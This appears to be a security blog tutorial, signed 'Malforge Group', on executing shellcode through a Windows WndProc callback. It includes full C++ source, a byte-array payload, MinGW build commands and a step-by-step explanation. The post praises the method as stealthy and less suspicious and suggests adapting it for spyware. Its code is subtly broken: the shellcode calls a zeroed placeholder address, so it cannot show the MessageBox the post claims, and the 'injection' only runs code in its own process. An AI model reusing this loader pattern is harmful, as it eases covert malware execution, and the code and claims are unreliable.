Shellcode injection is a potent technique in security research and exploit development, enabling the execution of arbitrary machine code within a target process. This post focuses on shellcode injection via window callbacks, a method that leverages the Windows messaging system to execute shellcode through the WndProc
function.
Shellcode is a small, position-independent sequence of machine instructions that performs specific tasks such as spawning shells, displaying messages, or establishing connections. It is a fundamental element in many exploits.
Shellcode injection typically involves:
- Injecting shellcode into the memory of a process.
- Redirecting code execution to the shellcode’s location.
Common techniques include thread injection, function pointer manipulation, and callback exploitation. This article focuses on window callbacks, a technique rooted in the Windows GUI subsystem.
A callback is a function registered to handle specific events or actions. In Windows programming, callbacks manage GUI events, such as mouse clicks or key presses.
The WndProc
is a user-defined function for handling messages sent to a window:
LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam);
Parameters:
hwnd
: Handle to the window.msg
: Message identifier.wParam
,lParam
: Additional message information.
Windows uses a message queue for GUI threads, which is processed in a loop using GetMessage
and DispatchMessage
. The system calls WndProc
when dispatching messages, making it a suitable target for injection.
This technique involves:
- Creating a window with a custom
WndProc
. - Allocating executable memory for shellcode.
- Copying the shellcode into memory.
- Modifying
WndProc
to run shellcode on a specific message. - Triggering the message to execute the code.
- Reliability: The OS ensures
WndProc
is invoked for relevant messages. - Legitimacy: GUI callbacks are typical and less suspicious.
- Simplicity: Easy to implement and control.
This C++ code uses a basic 64-bit shellcode that shows a MessageBox. It includes memory allocation, execution, and cleanup.
#include <windows.h>
// Simple shellcode to display a MessageBox (64-bit)
unsigned char shellcode[] = {
0x48, 0x83, 0xEC, 0x28,
0x48, 0x31, 0xC9,
0x48, 0x8D, 0x15, 0x1E, 0x00, 0x00, 0x00,
0x4C, 0x8D, 0x05, 0x1F, 0x00, 0x00, 0x00,
0x48, 0x31, 0xC9,
0x48, 0xB8, /* MessageBoxA address placeholder */ 0,0,0,0,0,0,0,0,
0xFF, 0xD0,
0x48, 0x83, 0xC4, 0x28,
0xC3,
'H','e','l','l','o',' ','W','o','r','l','d',0,
'T','e','s','t',0
};
LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam) {
static LPVOID shellcodeAddr = NULL;
if (msg == WM_USER + 100) {
shellcodeAddr = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!shellcodeAddr) {
MessageBoxW(hwnd, L"Failed to allocate memory", L"Error", MB_OK | MB_ICONERROR);
return 0;
}
memcpy(shellcodeAddr, shellcode, sizeof(shellcode));
((void(*)())shellcodeAddr)();
VirtualFree(shellcodeAddr, 0, MEM_RELEASE);
shellcodeAddr = NULL;
return 0;
}
if (msg == WM_DESTROY) {
PostQuitMessage(0);
return 0;
}
return DefWindowProcW(hwnd, msg, wParam, lParam);
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
WNDCLASSW wc = { 0 };
wc.lpfnWndProc = WndProc;
wc.hInstance = hInstance;
wc.lpszClassName = L"InjectWindow";
if (!RegisterClassW(&wc)) {
MessageBoxW(NULL, L"Failed to register window class", L"Error", MB_OK | MB_ICONERROR);
return 1;
}
HWND hwnd = CreateWindowExW(0, L"InjectWindow", L"Shellcode Demo", WS_OVERLAPPEDWINDOW,
CW_USEDEFAULT, CW_USEDEFAULT, 400, 300, NULL, NULL, hInstance, NULL);
if (!hwnd) {
MessageBoxW(NULL, L"Failed to create window", L"Error", MB_OK | MB_ICONERROR);
return 1;
}
ShowWindow(hwnd, nCmdShow);
UpdateWindow(hwnd);
SendMessageW(hwnd, WM_USER + 100, 0, 0);
MSG msg = { 0 };
while (GetMessageW(&msg, NULL, 0, 0)) {
TranslateMessage(&msg);
DispatchMessageW(&msg);
}
return (int)msg.wParam;
}
To compile the above code for Windows on Kali Linux:
sudo apt update
sudo apt install mingw-w64
x86_64-w64-mingw32-g++ -static -static-libgcc -static-libstdc++ -DUNICODE -D_UNICODE -mwindows shellcode_injection.cpp -o shellcode_injection.exe
Explanation:
-static
: Statically links libraries.-DUNICODE
: Enables Unicode support.-mwindows
: GUI subsystem (no console).shellcode_injection.cpp
: Your source file.
Transfer the .exe
to a 64-bit Windows environment and execute.
Note : Ensure the shellcode is 64-bit (as provided) for compatibility. Test in a Windows VM, as Kali cannot run the .exe natively. Use -g for debugging symbols if needed: -g -fdiagnostics-color=always.
#include <windows.h>
// Simple shellcode to display a MessageBox (64-bit)
unsigned char shellcode[] = { ... };
<windows.h>
: Provides Windows API functions for windows, messaging, and memory.
Shellcode: A simplified 64-bit payload to call MessageBoxA("Hello World", "Test", 0, 0)
. It:
- Sets up the stack and parameters.
- Calls
MessageBoxA
(placeholder address). - Includes strings
"Hello World\0"
and"Test\0"
.
Note: The
MessageBoxA
address is a placeholder; a real implementation would resolve it dynamically.
LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam) {
static LPVOID shellcodeAddr = NULL;
if (msg == WM_USER + 100) {
shellcodeAddr = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!shellcodeAddr) {
MessageBoxW(hwnd, L"Failed to allocate memory", L"Error", MB_OK | MB_ICONERROR);
return 0;
}
memcpy(shellcodeAddr, shellcode, sizeof(shellcode));
((void(*)())shellcodeAddr)();
VirtualFree(shellcodeAddr, 0, MEM_RELEASE);
shellcodeAddr = NULL;
return 0;
}
if (msg == WM_DESTROY) {
PostQuitMessage(0);
return 0;
}
return DefWindowProcW(hwnd, msg, wParam, lParam);
}
Purpose: Processes messages and executes the shellcode.
static LPVOID shellcodeAddr = NULL
: Tracks allocated memory.if (msg == WM_USER + 100)
: Executes shellcode for the custom message.VirtualAlloc
: Allocates executable memory.memcpy
: Copies the shellcode.((void(*)())shellcodeAddr)()
: Runs the shellcode.VirtualFree
: Frees memory to prevent leaks.WM_DESTROY
: Handles window closure, postingWM_QUIT
.DefWindowProcW
: Processes unhandled messages.
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
// Register window class
WNDCLASSW wc = { 0 };
wc.lpfnWndProc = WndProc;
wc.hInstance = hInstance;
wc.lpszClassName = L"InjectWindow";
if (!RegisterClassW(&wc)) {
MessageBoxW(NULL, L"Failed to register window class", L"Error", MB_OK | MB_ICONERROR);
return 1;
}
// Create window
HWND hwnd = CreateWindowExW(0, L"InjectWindow", L"Shellcode Demo", WS_OVERLAPPEDWINDOW,
CW_USEDEFAULT, CW_USEDEFAULT, 400, 300,
NULL, NULL, hInstance, NULL);
if (!hwnd) {
MessageBoxW(NULL, L"Failed to create window", L"Error", MB_OK | MB_ICONERROR);
return 1;
}
// Show window
ShowWindow(hwnd, nCmdShow);
UpdateWindow(hwnd);
// Trigger shellcode
SendMessageW(hwnd, WM_USER + 100, 0, 0);
// Message loop
MSG msg = { 0 };
while (GetMessageW(&msg, NULL, 0, 0)) {
TranslateMessage(&msg);
DispatchMessageW(&msg);
}
return (int)msg.wParam;
}
WinMain: Uses the GUI entry point for compatibility with -mwindows
.
- Registers a window class (
InjectWindow
) withWndProc
. - Creates a 400x300 window titled “Shellcode Demo”.
Display: Shows and paints the window.
Shellcode Trigger: Sends WM_USER + 100
to execute the shellcode.
Message Loop: Keeps the window responsive.
Return: Exits with the message loop’s result.
- Initialization: Registers a window class and creates a window.
- Display: Shows a window titled “Shellcode Demo”.
- Trigger: Sends a message (
WM_USER + 100
) to execute shellcode. - Execution:
- Allocates executable memory.
- Copies shellcode.
- Executes it.
- Frees the memory.
- Loop: Processes messages.
- Output: MessageBox with "Hello World" and title "Test".
- Malware: Can be adapted to run spyware or other payloads.
- Exploitation: Effective in GUI-based processes.
- Red Teaming: Demonstrates post-exploitation techniques.
- Stealthy: Mimics GUI message handling.
- Controlled: Triggered by specific messages.
- Simple: Requires minimal code.
Shellcode injection via window callbacks is a reliable and stealthy method for arbitrary code execution in Windows environments. The POC offers a practical introduction to shellcode behavior, memory management, and Windows internals. Always use responsibly in controlled labs or for red teaming.
Thank you for reading!
— Malforge Group